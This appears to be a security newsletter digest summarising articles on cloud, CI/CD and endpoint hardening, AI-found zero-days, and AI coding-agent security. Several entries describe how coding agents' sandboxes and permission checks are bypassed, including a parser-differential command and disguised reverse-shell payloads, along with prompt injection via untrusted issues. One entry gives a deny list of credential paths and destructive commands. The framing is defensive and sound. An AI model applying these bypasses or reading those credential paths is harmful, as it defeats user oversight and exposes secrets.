    Takeaway: Update the Claude Code Action to 2.1.128 or later, rotate exposed keys, and never give an agent workflow that reads untrusted issues both secrets and outbound channels.

  • Identity and Access Management Whitepaper
    summary

    TL;DR: CNCF TAG Security and Compliance whitepaper giving standards-based authentication and authorization requirements for Kubernetes workloads in two reference patterns: perimeter-based Basic and zero-trust Advanced.

    • Scope: Runtime, synchronous HTTP and gRPC access control in one cluster and one trust domain; excludes SCIM, PAM, MCP, A2A, batch and multi-cluster federation.
    • Standards: OAuth 2.0, OIDC, NIST SP 800-162 PEP/PDP architecture, AuthZEN Authorization API 1.0, SPIFFE and NIST SP 800-63 Rev 4.
    • Basic pattern: Treats the cluster as one trust zone; TLS, token validation and PDP authorization required at the perimeter, internal mTLS and MFA not mandatory.
    • Advanced pattern: Every workload is a trust boundary; TLS everywhere, mTLS via SPIFFE SVIDs, MFA at AAL2 minimum, and sender-constrained tokens via DPoP or mTLS.
    • User auth: Authorization code flow with PKCE only, S256 enforced; codes single-use, ideally under 60 seconds; code reuse should revoke issued tokens.
    • Authorization: Enforce at function, object and property level; PDP not reachable outside the cluster; prefer ABAC or ReBAC since RBAC leads to role explosion.
    • Token handling: Exchange external for internal tokens (RFC 8693) to strip PII; validate signature, expiry, issuer, audience, subject and revocation.
    • Logging and privacy: Log every request with a unique ID and decision but never tokens or PII; use opaque sub claims to ease GDPR erasure.
    • Caveats: Not a full regulated-environment profile; systems with regulatory requirements should adopt FAPI rather than approximate it with this pattern.

    Takeaway: Use the Advanced pattern for anything sensitive or public: SPIFFE-issued workload identity, a central PDP behind every service, and PKCE with MFA for all users.

  • GitHub Actions Security Checklist for Supply Chain Attacks
    summary

    TL;DR: A checklist for hardening GitHub Actions as supply chain infrastructure, against poisoned pipeline execution, secret theft, mutable action compromise and over-scoped tokens.

    • Do first: Read-only default GITHUB_TOKEN, third-party actions pinned to full commit SHAs, no pull_request_target on public repos, OIDC instead of static cloud secrets.
    • Permissions: Start from permissions: {} and grant per job; give id-token: write only to the OIDC job; split build/test from privileged publish.
    • Triggers: Never check out PR head code in pull_request_target; guard workflow_run; audit issue_comment and review triggers; use pull_request for forks.
    • Script injection: Pass untrusted context like github.head_ref through env: and quote it; never write untrusted data to GITHUB_ENV or GITHUB_PATH.
    • Pinning: Tags like @v4 can move; verify SHAs are not imposter fork commits; watch nested actions on mutable tags; update via Dependabot or Renovate with a release-age delay.
    • Secrets: Scope to environments with reviewers, pass per step, never as CLI args, avoid secrets: inherit; masking fails on transformed values.
    • Runners: No self-hosted runners on public repos; use ephemeral runners, separate groups by trust level, and restrict egress.
    • Artifacts: Avoid path: . uploads, set persist-credentials: false on actions/checkout, skip caches in release workflows, and use package cooldowns.
    • Detection: Lint with zizmor and OpenSSF Scorecard, enable CodeQL for workflows, keep an incident playbook. Incidents cited include tj-actions/changed-files and trivy-action.

    Takeaway: Inventory workflows, enforce read-only tokens org-wide, fix pull_request_target and interpolation first, then SHA-pin and run zizmor in CI. Note Corgea promotes its own products.

  • docker-mailserver: Production-Ready Fullstack Containerized Mail Server (SMTP, IMAP, LDAP, Anti-spam, Anti-virus)
    summary

    TL;DR: docker-mailserver is an MIT-licensed, config-file-only containerized mail stack bundling SMTP, IMAP, anti-spam, anti-virus and DKIM/DMARC, aimed at simple self-hosted production mail.

    • Design: Configuration files only, no SQL database, so a whole mail setup fits in version control and upgrades are simple.
    • Mail core: Postfix for SMTP and Dovecot for IMAP, POP3, SASL, quotas and basic Sieve filtering, with SMTP or LDAP authentication.
    • Anti-spam: Rspamd, Amavis, SpamAssassin with custom rules, Postscreen and Postgrey greylisting.
    • Anti-virus: ClamAV with automatic signature updates.
    • Email auth and protection: OpenDKIM and OpenDMARC for signing and policy, Fail2ban for brute-force blocking.
    • Extras: Fetchmail and Getmail6 retrieval, OAuth2 via XOAUTH2 or OAUTHBEARER, Let’s Encrypt, manual or self-signed certificates, alias delimiters.
    • Management: A setup script handles accounts, aliases, quotas and maintenance; install steps live in the external docs, not the README.
    • Caveats: Docs are versioned, so match the docs to your image version; the issue tracker is for bugs only, not personal support.
    • Project: Created by tomav, volunteer-maintained since January 2021; about 19.7k stars and 3,005 commits at capture.

    Takeaway: If you must self-host mail, start here and keep the config in git, but plan for DNS, deliverability and reputation work the README does not cover.

  • warpgate: Smart, Transparent SSH/HTTPS/Kubernetes/MySQL/PostgreSQL Bastion Host
    summary

    TL;DR: Warpgate is an open-source Rust bastion host and PAM tool that transparently proxies SSH, HTTPS, Kubernetes, databases, RDP and VNC with 2FA, SSO and session recording, no client needed.

    • How it works: Clients connect with specially formatted credentials; Warpgate authenticates locally, connects to the target itself, joins both sides and optionally records.
    • Protocols: SSH, HTTPS, Kubernetes, MySQL, PostgreSQL, RDP and VNC; browser-based SSH, RDP and VNC built in, native clients still work.
    • Access control: Users map one-to-one to specific hosts and URLs instead of getting broad network access as with a VPN or jump host.
    • Authentication: Local accounts with TOTP 2FA, SSO via OpenID Connect, and temporary-access “tickets”.
    • Audit: Every session recorded for live view or replay in the admin UI; history stored in SQLite under /var/lib/warpgate.
    • Protection: Built-in IP blocking and user lockout against brute force, no fail2ban needed.
    • Setup: Single binary with no dependencies; warpgate setup generates the config; Docker guide available; building needs Rust, Node.js and just.
    • Comparison: The project’s own table claims advantages over jump hosts, VPNs and Teleport, such as no custom client and free SSO; it is self-reported.
    • Caveats: Self-hosting means you own upgrades and ops; “command-level audit” is listed but not explained; AI-assisted contributions are disclosed.

    Takeaway: Consider Warpgate as a lightweight self-hosted alternative to Teleport for recorded, SSO-gated access to servers and databases, but harden and patch the bastion itself.

  • Detecting and Removing Dangerous Secrets on Dev Workstations Before Shai-Hulud Does
    summary

    TL;DR: A proof of concept combines Boost Security’s bagel scanner with Fleet and osquery to find plaintext secrets on developer laptops and block SSO for non-compliant machines.

    • Problem: Package managers, IDE extensions and AI agents run code on workstations, and plaintext secrets there are prime infostealer targets.
    • Scanner: bagel, a Go CLI that probes the home directory for SSH keys, GitHub and cloud credentials, reporting severity and path as JSON without logging values.
    • Pipeline: A macOS LaunchAgent runs bagel on a schedule; Fleet reads the JSON via osquery’s parse_json table.
    • Policy: A Fleet policy fails the machine on critical findings or stale results, then sends the developer a Slack notification.
    • Enforcement: An IdP like Entra can check the Fleet policy during SSO, for example via Conditional Access, and block sign-in until fixed.
    • Glue: The author’s Fleebag repo packages the LaunchAgent, Fleet queries and a sample MDM full-disk-access profile.
    • Numbers: None; the article reports no fleet size, secret counts or remediation rates.
    • Caveats: Hasty PoC; ad-hoc signed build you must re-sign; placeholder MDM profile; it detects but never removes secrets, since automated cleanup risks data loss.
    • Complements: Move secrets to password managers or hardware keys such as YubiKey for SSH and GPG, and restrict secret files to trusted apps.

    Takeaway: Schedule endpoint secret scans through your MDM, tie results to device-compliance checks at SSO, and give developers a clear path to move secrets into managed stores.

  • cicd-sensor: eBPF-Powered Runtime Security Sensor for CI/CD Pipelines (EDR for CI/CD)
    summary

    TL;DR: cicd-sensor is an open-source eBPF runtime security sensor for GitHub Actions and GitLab CI, an “EDR for pipelines” that records what actually ran and can kill malicious jobs.

    • Problem: CI jobs hold cloud credentials, signing keys and registry tokens, and supply-chain attackers inside a job leave no evidence once it ends.
    • Gap: Falco, Tetragon, Tracee, Wazuh and OSQuery never reached CI/CD; Sigstore proves where an artifact was built, not what ran.
    • Detection: Uses process ancestry, such as credential access from a child of npm install, and correlates signals like several credential categories read in one job.
    • Response: On detection it kills the process and stops the job; network blocking is only partial because it is not a firewall.
    • Evidence: Emits per-run logs to S3, GCS, Azure Blob or Pub/Sub, plus a job-summary report and a runtime-trace build attestation.
    • Platforms: GitHub-hosted, self-hosted runners and GitLab Docker executor supported; ARC and GitLab Kubernetes executor in preview; GitLab-hosted runners unsupported.
    • Setup: Add cicd-sensor/cicd-sensor-action pinned by SHA as the first step; needs Linux kernel 5.15+ on amd64 or 6.1+ on arm64.
    • Rules: Baseline rules in rules/ are on by default (opt-out), and custom rules are supported.
    • Caveats: Pre-release software; versus Harden-Runner free tier it adds private repos, self-hosted and GitLab support but weaker network blocking.

    Takeaway: Trial it on a few high-value pipelines (release, publish, deploy) to get process-level evidence and credential-theft detection, and keep egress controls separately since network blocking is partial.

  • bumblebee: Read-Only Inventory Collector for Package, Extension, and Dev-Tool Metadata on Developer Endpoints
    summary

    TL;DR: Bumblebee from Perplexity is a read-only Go binary that inventories packages, extensions and MCP configs on developer machines to answer “which laptops have this compromised package right now?”

    • Problem: SBOMs show what shipped and EDR shows what ran, but neither covers messy local state across lockfiles, extension manifests and dev-tool configs.
    • How it works: Parses on-disk metadata only and never runs npm ls, pip show or go list; output is NDJSON package, finding and scan_summary records.
    • Coverage: npm (lockfiles, pnpm, Yarn, Bun), PyPI, Go, RubyGems, Composer, Homebrew, MCP configs, agent skills, VS Code-family and browser extensions.
    • Secrets handling: Parses MCP configs like ~/.claude.json for server inventory but does not emit credential values from env blocks.
    • Profiles: baseline for recurring light scans, project for dev dirs like ~/code, and deep for incident sweeps of explicit roots including $HOME.
    • Matching: An --exposure-catalog JSON matches exact (ecosystem, name, version) tuples or *; maintained catalogs live in threat_intel/.
    • Setup: go install github.com/perplexityai/bumblebee/cmd/bumblebee@v0.1.1, then bumblebee scan --profile baseline > inventory.ndjson; requires Go 1.25+.
    • Limits: No version ranges; Codex config.toml and Continue YAML not parsed; loose SKILL.md dirs and bun.lockb contents invisible; macOS and Linux only.
    • Caveats: low confidence records are references, not proof of install, and deduplication and current-state logic are left to the receiver.

    Takeaway: Schedule a baseline scan via MDM or launchd and ship NDJSON to your SIEM, so the next npm or PyPI compromise becomes one catalog query instead of a fleet-wide scramble.

  • Securing Your Gemini and Google API Keys
    summary

    TL;DR: Google Cloud guide to securing Gemini and other Google API keys, which are bearer credentials tied to no identity, covering isolation, restrictions, storage, inventory and abuse detection.

    • Core risk: A Gemini key is a standard Google API key; anyone holding it can use it, and abuse is billed to the owner.
    • Isolation: Create keys in a standalone project with no other purpose to limit blast radius, via the console or gcloud services api-keys create.
    • API restrictions: Allow only needed APIs, such as “Gemini API” alone for AI Studio; Firebase-generated keys are restricted to 24 APIs, including Cloud SQL Admin.
    • Application restrictions: Limit by website URL, IP or subnet, iOS Bundle ID or Android package plus cert fingerprint; one type per key, so use separate keys.
    • Storage: Keep keys in Secret Manager and inject into Cloud Run or GKE, or read at runtime; verify third-party apps send keys only over TLS.
    • Incident response: Delete a compromised key immediately; undelete restores it within 30 days if it was a false alarm.
    • Inventory: Use Asset Inventory filtered on apikeys.Key, gcloud services api-keys list, or gcloud asset search-all-resources across the org.
    • Abuse detection: Query serviceruntime.googleapis.com/api/request_count filtered by credential_id label; abnormally high counts signal misuse.
    • Hygiene: Delete unused keys, enforce org policy custom constraints on apikeys.googleapis.com/Key, and rotate by updating all consumers before deleting the old key.

    Takeaway: Run the org-wide asset search now, restrict every key to specific APIs and clients, and add a per-credential_id request-count alert to catch stolen keys early.

  • Operationalizing AWS Security: A Maturity Roadmap
    summary

    TL;DR: AWS Security Blog roadmap with six phases for turning enabled Security Hub and GuardDuty into an operated practice with tuned findings, routing, safe auto-remediation and measured cadence.

    • Thesis: Enabling tools is not operating them; the gap is an operational playbook, not more feature docs.
    • Phase 0, assess (1-2 weeks): Count findings by severity and age, baseline FSBP and CIS scores, and check coverage in every account and Region.
    • Phase 1, reduce noise (2-3 weeks): Add GuardDuty suppression rules, disable irrelevant Security Hub controls, pick one standard (FSBP default) and use workflow status.
    • Phase 2, routing: Security Hub to EventBridge with severity tiers: CRITICAL pages in 15 minutes, HIGH 4 hours, MEDIUM ticket in 48 hours; enrich alerts via Lambda.
    • Phase 3, remediation: Automate only high-confidence, deterministic, low-blast-radius responses (instance isolation, key revocation, re-enabling S3 Block Public Access) using SHARR on Step Functions.
    • Prevention: For recurring findings, an SCP that blocks the misconfiguration beats repeated auto-remediation.
    • Phase 4, rhythm: 30-minute weekly review, predefined escalations, monthly MTTA, MTTR and SLA metrics (above 95% CRITICAL, 90% HIGH), and quarterly suppression audits.
    • Phase 5, expand: Add Inspector, Macie, Security Lake (OCSF), Access Analyzer, CloudTrail Lake and SCPs blocking GuardDuty or CloudTrail disablement.
    • Caveats: Prescriptive with no case studies or cost data; timelines and thresholds are suggestions, not validated benchmarks.

    Takeaway: Do the Phase 0 assessment and noise reduction before building any automation, then stand up a weekly 30-minute review that survives staff turnover.

  • GLM-5.2, Not Mythos, Is the Real Security Emergency
    summary

    TL;DR: Joshua Saxe argues that open-weights GLM-5.2, not Anthropic’s withheld Mythos, is the real security emergency, because attackers can now run agentic AI privately and unmonitored.

    • Panopticon dilemma: Attackers on closed frontier APIs risk their tactics, targets and intent being logged, which the author says limited agentic AI abuse for nine months.
    • What changed: GLM-5.2 is described as the first open-weights model widely seen as capable of long-horizon agency, reportedly near GPT-5.5 and Claude Opus 4.8 on code and terminal tasks.
    • Hardware: Runs on 8 H200 GPUs, with quantized or pruned versions expected to cut the cost further.
    • Safeguards: The author argues fine-tuning away refusals should be “trivial,” and expects dark markets for hosted near-frontier models and harnesses.
    • Threat capabilities: Semi-autonomous kill chains, rapid implant and C2 authoring, zero-day discovery and exploit development, and long-con fraud in local languages.
    • Mythos critique: Withholding Mythos from defenders is called counterproductive since it runs on monitored servers and defenders patch faster than attackers exploit.
    • Recommendation: Shift policy from denying frontier access to accelerating AI adoption in CISO teams and giving security vendors the best models.
    • Caveats: Evidence is mostly qualitative with no benchmark scores; a commenter notes GLM-5.2 lacks image input and very large models remain hard to deploy.

    Takeaway: Assume attackers have unmonitored agentic AI now, and use AI yourself to pay down security debt and speed up detection and response.

  • Some Notes on Lambda MicroVMs
    summary

    TL;DR: Aidan Steele’s hands-on notes on AWS Lambda MicroVMs, covering shells, Docker, networking, image builds, timings and the rough edges he found.

    • Positioning: MicroVMs sit between containers and VMs, suited to CI runners, coding-agent hosts, game servers and per-environment addressability.
    • Shell access: /dev/ptmx exists, so ptys work, and CreateMicrovmShellAuthToken with websocat gives a direct shell, no reverse shell needed.
    • Docker: Works inside a MicroVM after pointing dockerd at the right socket with dockerd --containerd=/run/containerd/containerd.sock.
    • Networking: Outbound UDP blocked by default; containers need --dns 169.254.169.253; VPC access uses “network connectors” with their own ARN and lifecycle.
    • Hidden ENIs: Connector ENIs only appear with DescribeNetworkInterfaces and IncludeManagedResources=true; the old Elastic IP on Lambda ENI trick is now blocked.
    • Images: Lambda builds from a Dockerfile ZIP in S3, not ECR despite docs, for Graviton 3 and 4, in 2-3 minutes, then snapshots memory and disk.
    • Timings: RunMicrovm to RUNNING about 2 seconds, plus about 2 more to HTTP 200 OK; suspend and resume about 1 second each.
    • Inbound: Always authenticated via X-aws-proxy-auth bearer token from CreateMicrovmAuthToken; supports HTTP/2, gRPC, WebSockets and SSE.
    • Rough edges: Lifecycle hooks only arrive on port 9000; no session tags passed; sts:GetWebIdentityToken lacks MicroVM-identifying claims; free build disk about 7.2 GB.

    Takeaway: If you need isolated per-tenant sandboxes, prototype on MicroVMs but reseed randomness in lifecycle hooks after snapshot restore, and do not rely on workload identity claims yet.

  • Run Isolated Sandboxes with Full Lifecycle Control: AWS Lambda Introduces MicroVMs
    summary

    TL;DR: AWS launch post for Lambda MicroVMs, Firecracker-isolated stateful sandboxes with their own API for running user- or AI-generated code, with suspend and resume lifecycle control.

    • Problem: Multi-tenant apps like coding assistants and scanners need per-user environments; VMs start slowly, containers share a kernel and Functions lack long-lived state.
    • Isolation: Each MicroVM is its own Firecracker VM with no shared kernel between users.
    • Image model: Supply a Dockerfile and code ZIP in S3; Lambda builds, initializes and snapshots memory and disk so new MicroVMs resume pre-initialized.
    • Commands: aws lambda-microvms create-microvm-image then aws lambda-microvms run-microvm with an --idle-policy such as maxIdleDurationSeconds 900.
    • Lifecycle: Running VMs keep memory, disk and processes; idle VMs suspend with state snapshotted and auto-resume on the next request.
    • Access: Each MicroVM gets a dedicated endpoint URL; requests need a short-lived token in the X-aws-proxy-auth header.
    • Limits: Up to 8 hours total runtime, 16 vCPUs, 32 GB memory and 32 GB disk; ARM64 only.
    • Regions: us-east-1, us-east-2, us-west-2, eu-west-1 and ap-northeast-1 at launch; pricing not stated in the post.
    • Caveats: Snapshot-based start means apps generating unique values or opening connections at init must use provided hooks.

    Takeaway: Consider MicroVMs instead of self-managed Firecracker or container sandboxes for untrusted code execution, but plan around the 8-hour cap and ARM64-only images.

  • CloudTrail in CloudWatch Isn’t Very Good
    summary

    TL;DR: Aidan Steele finds CloudTrail ingestion into CloudWatch, AWS’s recommended CloudTrail Lake replacement, hard to set up, under-documented, slow to start and missing Lake’s enrichment.

    • Context: AWS closed CloudTrail Lake to new customers from June 1, 2026 and recommends migrating to CloudWatch.
    • Capability gap: Despite AWS claims of parity, CloudWatch lacks Lake’s enrichment with resource tags and global condition keys.
    • Setup pain: The new “service-linked channel” method is barely documented; searches mostly return the older trail-based approach.
    • Org quirks: Requires StartTelemetryEvaluationForOrganization; org-level rules skip the management account, which needs its own account-level rule.
    • More steps: Centralisation needs a separate log centralisation rule and service-linked role, and S3 Tables integration must be enabled manually.
    • Slow start: Events took about 8 hours to flow after enabling, with docs allowing up to 24 hours, versus minutes for trails.
    • Bugs: UpdateTelemetryRuleForOrganization returned InternalServerException on two separate days when reducing retention.
    • Effort and cost: Setup took a few hours and about $50 of AI credits; per-event trail pricing versus per-GB CloudWatch pricing remains unresolved.
    • Caveats: Tested on one tiny personal org; Terraform published at aidansteele/cloudtrail-cloudwatch-2026 was AI-generated.

    Takeaway: Do not decommission trails yet; if migrating off CloudTrail Lake, budget time for org rules, management-account coverage and a day of ingestion lag.

  • An Introduction to AI Coding Agent Security
    summary

    TL;DR: NCC Group whitepaper by Alex Plaskett mapping the security boundaries of Claude Code, Cursor and Codex, and the vulnerability classes previously found and fixed in each.

    • Scope: Local CLI and GUI agents as of May 2026; excludes MCP servers, plugins, cloud agents and direct API use; focus is code execution, not exfiltration.
    • Two controls: Permission models (allow, ask, deny; human-in-the-loop) and OS sandboxes (macOS Seatbelt, Linux bubblewrap); prompt fatigue drove sandbox and auto-mode adoption.
    • Defaults differ: Claude Code CLI defaults to no sandbox; Cursor GUI sandboxes by default but has workspace trust disabled and allows workspace write and execute without prompts.
    • Untrusted workspace: Code running before trust is a bug, such as Claude Code before 2.1.90 executing a repo-planted reg.exe, or planted .claude/settings.json and .cursor/mcp.json.
    • Trusted workspace classes: Sandbox escapes via symlinks, settings or .git hooks; permission bypasses via “read-only” commands like sed, find, rg and zsh clobber; sensitive file overwrites.
    • Parser differentials: Validators using tree-sitter or AST parsing can disagree with execution, such as Codex PowerShell git log --% HEAD --output=codex_poc.txt writing a file.
    • Network: Cursor’s default trusted hosts include user-content domains like githubusercontent.com, usable for payload delivery and exfiltration.
    • Delivery: Obfuscation raises LLM refusals; payloads disguised as build steps or native binaries succeeded, including a reverse shell.
    • Core lesson: LLM refusals and guardrails are not a security boundary; the harness must assume the model will emit dangerous tool calls.

    Takeaway: Enable the agent sandbox, keep auto-allow rules narrow, and review .claude, .cursor and .git config in cloned repos before granting workspace trust.

01.05.2026

  • GOModel: Lightweight AI Gateway in Go with Unified OpenAI-Compatible API for Multiple LLM Providers
    summary

    TL;DR: GOModel is an MIT-licensed AI gateway in Go exposing OpenAI- and Anthropic-compatible endpoints in front of many LLM providers, with caching, budgets, failover and observability.

    • Positioning: Pitched as a LiteLLM and Portkey alternative, citing a recent LiteLLM hack and Portkey no longer being maintained on GitHub.
    • Endpoints: OpenAI-compatible at /v1 and Anthropic-compatible at /v1/messages, so official SDKs work by changing the base URL.
    • Cost controls: Exact and semantic caching, per-request cost estimates, hard budgets per user, team or key, and request, token and concurrency limits.
    • Routing: Virtual models with round-robin or cost-based balancing, session pinning to keep prompt caches warm, failover with retries and circuit breakers.
    • Governance: Hierarchical user paths, per-key model allowlists, guardrails, audit logs, an MCP gateway and passthrough at /p/{provider}/....
    • Providers: OpenAI, Anthropic, Gemini, Vertex AI, Bedrock, Azure OpenAI, Groq, DeepSeek, OpenRouter and others, plus Ollama, vLLM and SGLang.
    • Setup: docker run --rm -p 8080:8080 -v gomodel_data:/app/data enterpilot/gomodel, then add providers at /admin/dashboard.
    • Observability: Prometheus metrics, OpenTelemetry traces and live request streaming.
    • Caveats: Speed claims ship without figures in the README; prompt compression, smart routing and OIDC SSO are paid Pro features; .so plugins run arbitrary compiled code.

    Takeaway: Worth evaluating as a self-hosted LLM egress point for key isolation, budgets and audit, but benchmark it yourself and treat .so plugin loading as a supply-chain risk.

  • PgQue: Zero-Bloat PostgreSQL Queue Built on PgQ Architecture as Pure SQL
    summary

    TL;DR: PgQue reimplements Skype’s PgQ queue in pure SQL and PL/pgSQL so a zero-bloat, Kafka-style event log runs on any Postgres 14+, including RDS, Aurora and Supabase.

    • Problem: SKIP LOCKED queues using DELETE or UPDATE create dead tuples, VACUUM pressure and index bloat that degrade under sustained load.
    • How it works: Snapshot-based batching per tick plus TRUNCATE-based table rotation, so the hot path produces no dead tuples.
    • Model: Shared log with independent per-consumer cursors; every subscriber gets every event, with retry, delayed and dead-letter tables.
    • Install: One file via psql --single-transaction -d mydb -f sql/pgque.sql; no C extension, daemon or shared_preload_libraries.
    • Ticking: select pgque.start(); uses pg_cron to tick every 100 ms; pg_timetable or a manual pgque.ticker() loop also work.
    • Numbers: Default tick gives about 52 ms median delivery, about 8 ms at a 10 ms tick; with a pinned xmin, SKIP LOCKED saw 14x dead tuples and 35% throughput loss while PgQue stayed at n_dead_tup = 0.
    • Security limit: Roles pgque_reader, pgque_writer and pgque_admin are global, so any reader can ack or read other consumers’ batches.
    • Ops caveats: No ticker means no delivery; skipping maint_retry_events() means no redelivery; cron.job_run_details grows unbounded without a purge.
    • Not for: Per-job priority, unique jobs, cron scheduling or sub-3 ms dispatch; cooperative consumers are experimental in 0.2.

    Takeaway: Consider PgQue for event fan-out on managed Postgres where queue bloat hurts, but monitor the ticker and isolate mutually untrusted apps in separate databases.

  • The $0 Security Stack: Building a Complete Security Program with Free and Open-Source Tools
    summary

    TL;DR: Oblique’s CEO describes a $0 startup security stack built from free tiers and open source, mapped to SOC 2 controls, arguing serious security need not be expensive.

    • SAST: Semgrep, free up to 10 contributors, with AI triage that filters likely false positives and deprioritizes unreachable dependencies (CC8.1).
    • Secrets: TruffleHog first ran on every commit and now runs daily for regressions; it has found no leaked secrets.
    • SIEM: RunReveal ingests GCP, Cloudflare and GitHub logs and alerts to a private Slack channel; free tier covers 5 sources (CC7.2).
    • Email: Sublime Security on Google Workspace, free up to 100 mailboxes, catches more than native filtering but is too noisy, so another tool is under test.
    • MDM: Apple Business enforces disk encryption, screen lock and forced updates, now free; macOS XProtect provides anti-malware.
    • Phishing stance: Assume clicks happen, so SSO and MFA are mandatory everywhere; phishing simulations are rejected as ineffective.
    • Early wins: The SIEM surfaced misconfigurations within the first 24 hours.
    • Caveats: Vendor-authored and anecdotal with no detection or false-positive metrics; free tiers can change or be outgrown; access reviews (CC6.2, CC6.3) are not free yet.

    Takeaway: For a small team, wire Semgrep, TruffleHog, a free-tier SIEM and MDM early, and put SSO plus MFA everywhere before spending on paid tooling.

  • Claude Mythos #2: Cybersecurity and Project Glasswing
    summary

    TL;DR: Zvi Mowshowitz analyzes Claude Mythos’s cyber capabilities and Project Glasswing, Anthropic’s limited release to defenders, arguing withholding it was necessary as AI finds and exploits zero-days at scale.

    • Glasswing: Access for launch partners plus 40+ critical-software organizations, backed by $100M in usage credits and $4M in donations; a progress report follows at 90 days.
    • Claim: Anthropic says Mythos Preview found thousands of zero-days across every major OS and browser, many 10-20 years old.
    • Examples: A 27-year-old OpenBSD SACK bug, a 16-year-old FFmpeg flaw, and FreeBSD CVE-2026-4747, an NFS unauthenticated root RCE exploited fully autonomously.
    • Browsers: Mythos chained four bugs into a JIT heap spray escaping renderer and OS sandboxes, giving kernel write from a page visit.
    • Numbers: Exploit success of 72.4% for Mythos versus under 1% for Opus; on OSS-Fuzz it reached control-flow hijack on ten fully patched targets.
    • Validation: Experts matched Claude’s severity rating exactly 89% of the time across 198 reports; under 1% of findings disclosed so far, with a 135-day disclosure window.
    • Limits: First model to solve a private cyber range end-to-end, but it failed an operational technology range.
    • Skeptics: Aisle showed small open models flagging the same bugs in isolated code; Zvi counters that detection on narrowed code is not discovery.
    • Caveats: Claims are largely unverified externally; Dean Ball estimates Mythos-level capability is 1-2 years from wide availability.

    Takeaway: Expect a surge of patches for old, deep bugs in OSes, browsers and core libraries; shorten patch cycles and harden legacy systems that cannot be updated quickly.

  • Myth and Mythos: Where Do We Go From Here?
    summary

    TL;DR: Pylos opinion piece arguing Anthropic’s Mythos is real but over-hyped, and Project Glasswing is too narrow, leaving OT, IoT, medical and non-US defenders out.

    • Hype versus substance: The “too dangerous to release” framing is credited as restraint but also called valuable marketing.
    • Narrower capability: On Firefox 147 and 148, Mythos beat Sonnet 4.6 mainly by working variations of two primary bugs; with those removed, the older model did better.
    • Defenses work: Once root issues are fixed, exploitation success for both models drops to single-digit rates.
    • Range limits: Mythos did well against weakly defended small-enterprise networks but struggled with complex environments and failed an OT challenge.
    • Not magic: Experts confirm long-lurking bugs were found, including in OpenBSD, but the author says comparable capability will emerge elsewhere regardless.
    • Glasswing gaps: Includes Microsoft, Apple, Linux Foundation, Cisco and Palo Alto, but not Siemens, Rockwell, Schneider, Juniper, Ericsson or Huawei.
    • Recommendations: Use AI in the SDLC to find bugs before shipping, prioritize defense in depth, and fund legacy mitigation for utilities, hospitals and schools.
    • Caveats: Mythos is not publicly testable, so the analysis relies on Anthropic’s system card and secondary reporting.

    Takeaway: Treat AI-driven exploitation as a defense-in-depth problem: basic controls sharply cut autonomous attack success, especially for OT and legacy estates outside Glasswing.

  • How Amazon Uses Agentic AI for Vulnerability Detection at Global Scale
    summary

    TL;DR: Amazon describes RuleForge, an agentic AI pipeline that turns public exploit PoCs into validated detection rules, producing them 336% faster than manual work with human review kept.

    • Problem: NVD published over 48,000 CVEs in 2025, and hand-writing, tuning and reviewing a detection rule per CVE forced heavy prioritization.
    • Ingestion: Downloads public PoC exploit code and scores each exploit using content analysis and threat intelligence.
    • Generation: An agent on AWS Fargate with Amazon Bedrock proposes five parallel candidate JSON rules, each refined iteratively.
    • Judge model: A separate model scores sensitivity (missed malicious requests) and specificity (keying on surface features rather than the vulnerability).
    • Key lesson: The generator rated nearly all its own rules as good; separating the judge cut false positives 67% at the same true-positive count.
    • Prompting: Asking how likely a rule is to fail calibrated better than asking whether it works; domain-specific questions beat generic confidence ratings.
    • Validation: Synthetic malicious and benign tests, then replay against MadPot honeypot traffic and Sonaris detections, with failures fed back to the generator.
    • Human gate: Security engineers review the best candidate and make the final deployment call.
    • Caveats: Self-reported; judge reasoning matched experts on only 6 of 9 rules; no absolute precision or recall; coverage depends on public PoCs.

    Takeaway: When using LLMs to write detections or policy, separate generator from judge, phrase evaluation around failure, and test against real traffic before human sign-off.

  • Orchestrating AI Code Review at Scale with Cloudflare
    summary

    TL;DR: Cloudflare built an AI code reviewer that runs in CI on OpenCode. A coordinator agent manages up to seven specialist reviewers and reviewed 48,095 merge requests in one month, at a median cost of $0.98.

    • Problem: Sending a whole diff to one LLM gave vague, hallucinated feedback. Off-the-shelf tools were not flexible enough.
    • How it works: A coordinator OpenCode process exposes a spawn_reviewers tool. It launches specialists for security, performance, code quality, docs, release, compliance and AGENTS.md, then deduplicates and filters their findings.
    • Risk tiers: Each MR is classed as trivial, lite or full by lines changed, file count and security-sensitive paths. Trivial MRs get two agents and a cheaper coordinator.
    • Prompting: Each specialist prompt has explicit “What NOT to Flag” sections, which the authors say matter more than the inclusions. Findings come out as XML with critical, warning or suggestion severity.
    • Resilience: Each model tier has its own circuit breaker, with failback to older models in the same family. A Workers KV control plane can reroute running jobs within five seconds.
    • Security: Boundary tags are stripped from MR bodies and comments to block prompt injection. A human “break glass” comment forces approval and is logged in telemetry.
    • Numbers: 131,246 runs across 5,169 repos between March 10 and April 9, 2026. Median 3m 39s, P99 $4.45, about 120B tokens, 85.7% cache hit rate.
    • Limits: It is not a replacement for human review. It misses design rationale, cross-system contract breaks and concurrency bugs, and its accuracy figures are self-reported.

    Takeaway: Use narrow specialist prompts with explicit exclusions, risk-based tiers and a judge pass, not one generic prompt. Strip injection boundaries from user-controlled MR text, and keep a human override that is audited.

  • My Claude Code Setup (2026 Edition)
    summary

    TL;DR: Marco Lancini walks through his 2026 Claude Code setup in a monorepo. It combines sandboxing, blocking hooks, a deny list for credential paths, review subagents and a plugin-driven plan-then-code workflow.

    • Settings: He sets effortLevel to xhigh and CLAUDE_CODE_DISABLE_ADAPTIVE_THINKING=1. He caps CLAUDE_CODE_AUTO_COMPACT_WINDOW at 400000 because quality dropped near the full 1M context.
    • Sandbox: sandbox.enabled is on and autoAllowBashIfSandboxed is off. Network is blocked by default and writes are limited to the project, except the agent-browser socket.
    • Hooks: PreToolUse hooks block rm -rf, git push to main, and raw docker, terraform, npm, pip and similar tools. Only his lcli wrapper is allowed.
    • Terraform: lcli infra tf with --action apply or destroy is blocked. Claude only suggests those commands, and the human runs them.
    • Deny list: Reads of ~/.ssh, ~/.aws, ~/.config/gh, ~/.git-credentials, ~/.docker/config.json and ~/Library/Keychains are denied, as are sudo, dd and git push --force.
    • Workflow: Brainstorm, then plan, then a checkpointed to-do list, then reviewer subagents (pattern-reviewer, security-code-reviewer, code-simplifier), then /superpowers:verification-before-completion.
    • Extensions: He runs about 18 plugins, including superpowers, impeccable, episodic-memory, context7 and agent-browser (instead of Playwright MCP), plus a custom cloudseclist-sponsor MCP server.
    • Caveats: This is a personal setup, not a recipe. The allow list grew from his own approvals, agent teams are experimental, and the sound and popup hooks only work on macOS.

